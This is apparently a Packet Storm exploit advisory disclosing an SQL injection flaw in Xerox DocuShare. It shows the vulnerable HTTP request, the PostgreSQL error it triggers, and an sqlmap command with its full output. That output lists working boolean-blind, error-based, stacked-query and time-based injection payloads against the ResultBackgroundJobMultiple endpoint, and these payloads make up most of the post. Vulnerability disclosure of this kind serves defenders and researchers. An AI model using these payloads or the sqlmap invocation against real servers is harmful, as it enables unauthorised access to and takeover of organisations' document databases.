Exploit the possiblities

Xerox DocuShare SQL Injection

Xerox DocuShare SQL Injection
Posted Apr 15, 2014
Authored by Brandon Perry

Xerox DocuShare suffers from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
MD5 | 5ece5773f44a011ec0ceb84141f055f9

Xerox DocuShare SQL Injection

Change Mirror Download
The following request is vulnerable to a SQL injection in the last URI segment:

GET /docushare/dsweb/ResultBackgroundJobMultiple/1 HTTP/1.1
Host: 172.31.16.194:8080
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:26.0) Gecko/20100101 Firefox/26.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://172.31.16.194:8080/docushare/dsweb/DeleteConfirmation/1/Collection-14/Services
Cookie: JSESSIONID=AB82A86859D9C65475DDE5E47216F1A0.tomcat1; AmberUser=64.980A91BBF9D661CB800C2CE5FCCE924AEF4D51CF0280B319873BC31AF0705F0F21.1svt4r2doj13hhu1dc7kf
Connection: keep-alive


Response (goodies):

<div id="error_vdftitle">
<h2><font color="#DD3333">System Error </font></h2>
</div>
<div id="content">
<form name="ERROR" method="post" action="/docushare/dsweb/ApplyError">
<table cellpadding="1" cellspacing="1">
<tr><td><b>Error Code: 1501</b></td></tr>
<tr><td><b><i>SQL error.</i></b></td></tr>
</table>
<input type="hidden" name="dsexception" value="yes" />
<input type="hidden" name="dserrorcode" value="1501" />
<input type="hidden" name="detail_message" value="SQL error." />
<br />
<input type="hidden" name="message" value="Error doing the getBackgroundJobInfo query; nested exception is:
org.postgresql.util.PSQLException: ERROR: unterminated quoted string at or near "'1"
Error doing the getBackgroundJobInfo query; nested exception is:
org.postgresql.util.PSQLException: ERROR: unterminated quoted string at or near "'1"
" />
<input type="hidden" name="stacktrace" value="com.xerox.docushare.db.DatabaseException: Error doing the getBackgroundJobInfo query; nested exception is:
org.postgresql.util.PSQLException: ERROR: unterminated quoted string at or near "'1"

at com.xerox.docushare.db.jdbc.DbConnectionJDBC.getBackgroundJobInfo(DbConnectionJDBC.java:18440)
at com.xerox.docushare.impl.server.BackendSessionImpl.getBackgroundJobInfo(BackendSessionImpl.java:13022)
at sun.reflect.GeneratedMethodAccessor59.invoke(Unknown Source)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:25)
at java.lang.reflect.Method.invoke(Method.java:597)
at sun.rmi.server.UnicastServerRef.dispatch(UnicastServerRef.java:305)
at sun.rmi.transport.Transport$1.run(Transport.java:159)
at java.security.AccessController.doPrivileged(Native Method)
at sun.rmi.transport.Transport.serviceCall(Transport.java:155)
at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:535)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:790)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:649)
at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908)
at java.lang.Thread.run(Thread.java:662)
" />
<input type="hidden" name="redirectTo" value="SystemError" />



---------------------------------------

quick sqlmap run:

bperry@ubuntu:~/tools/sqlmap$ ./sqlmap.py -r /tmp/req.req --level=5 --risk=3 -o --dbms=postgres

sqlmap/1.0-dev-e8c1c90 - automatic SQL injection and database takeover tool
http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 09:28:49

[09:28:49] [INFO] parsing HTTP request from '/tmp/req.req'
custom injection marking character ('*') found in option '-u'. Do you want to process it? [Y/n/q]
[09:28:50] [INFO] testing connection to the target URL
[09:28:51] [INFO] testing NULL connection to the target URL
[09:28:51] [INFO] testing if the target URL is stable. This can take a couple of seconds
[09:28:52] [INFO] target URL is stable
[09:28:52] [INFO] testing if URI parameter '#1*' is dynamic
[09:28:52] [INFO] confirming that URI parameter '#1*' is dynamic
[09:28:52] [WARNING] URI parameter '#1*' does not appear dynamic
[09:28:52] [INFO] testing for SQL injection on URI parameter '#1*'
[09:28:52] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[09:28:52] [WARNING] reflective value(s) found and filtering out
[09:28:53] [INFO] URI parameter '#1*' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable
[09:28:53] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[09:28:53] [INFO] URI parameter '#1*' is 'PostgreSQL AND error-based - WHERE or HAVING clause' injectable
[09:28:53] [INFO] testing 'PostgreSQL inline queries'
[09:28:53] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[09:28:53] [WARNING] time-based comparison requires larger statistical model, please wait........
[09:29:04] [INFO] URI parameter '#1*' seems to be 'PostgreSQL > 8.1 stacked queries' injectable
[09:29:04] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[09:29:14] [INFO] URI parameter '#1*' seems to be 'PostgreSQL > 8.1 AND time-based blind' injectable
[09:29:14] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[09:29:14] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[09:29:14] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[09:29:14] [INFO] target URL appears to have 10 columns in query
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n]
[09:29:31] [INFO] testing 'Generic UNION query (49) - 22 to 40 columns'
[09:29:33] [INFO] testing 'Generic UNION query (49) - 42 to 60 columns'
[09:29:34] [INFO] testing 'Generic UNION query (49) - 62 to 80 columns'
[09:29:36] [INFO] testing 'Generic UNION query (49) - 82 to 100 columns'
URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection points with a total of 155 HTTP(s) requests:
---
Place: URI
Parameter: #1*
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://172.31.16.194:8080/docushare/dsweb/ResultBackgroundJobMultiple/1 AND 6164=6164

Type: error-based
Title: PostgreSQL AND error-based - WHERE or HAVING clause
Payload: http://172.31.16.194:8080/docushare/dsweb/ResultBackgroundJobMultiple/1 AND 7298=CAST((CHR(113)||CHR(113)||CHR(108)||CHR(115)||CHR(113))||(SELECT (CASE WHEN (7298=7298) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(120)||CHR(109)||CHR(121)||CHR(113)) AS NUMERIC)

Type: stacked queries
Title: PostgreSQL > 8.1 stacked queries
Payload: http://172.31.16.194:8080/docushare/dsweb/ResultBackgroundJobMultiple/1; SELECT PG_SLEEP(5)--

Type: AND/OR time-based blind
Title: PostgreSQL > 8.1 AND time-based blind
Payload: http://172.31.16.194:8080/docushare/dsweb/ResultBackgroundJobMultiple/1 AND 3994=(SELECT 3994 FROM PG_SLEEP(5))
---
[09:30:04] [INFO] the back-end DBMS is PostgreSQL
back-end DBMS: PostgreSQL
[09:30:04] [INFO] fetched data logged to text files under '/home/bperry/tools/sqlmap/output/172.31.16.194'

[*] shutting down at 09:30:04

bperry@ubuntu:~/tools/sqlmap$

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

January 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    2 Files
  • 2
    Jan 2nd
    13 Files
  • 3
    Jan 3rd
    16 Files
  • 4
    Jan 4th
    39 Files
  • 5
    Jan 5th
    26 Files
  • 6
    Jan 6th
    40 Files
  • 7
    Jan 7th
    2 Files
  • 8
    Jan 8th
    16 Files
  • 9
    Jan 9th
    25 Files
  • 10
    Jan 10th
    28 Files
  • 11
    Jan 11th
    44 Files
  • 12
    Jan 12th
    32 Files
  • 13
    Jan 13th
    2 Files
  • 14
    Jan 14th
    4 Files
  • 15
    Jan 15th
    31 Files
  • 16
    Jan 16th
    15 Files
  • 17
    Jan 17th
    16 Files
  • 18
    Jan 18th
    24 Files
  • 19
    Jan 19th
    15 Files
  • 20
    Jan 20th
    5 Files
  • 21
    Jan 21st
    0 Files
  • 22
    Jan 22nd
    0 Files
  • 23
    Jan 23rd
    0 Files
  • 24
    Jan 24th
    0 Files
  • 25
    Jan 25th
    0 Files
  • 26
    Jan 26th
    0 Files
  • 27
    Jan 27th
    0 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    0 Files
  • 31
    Jan 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close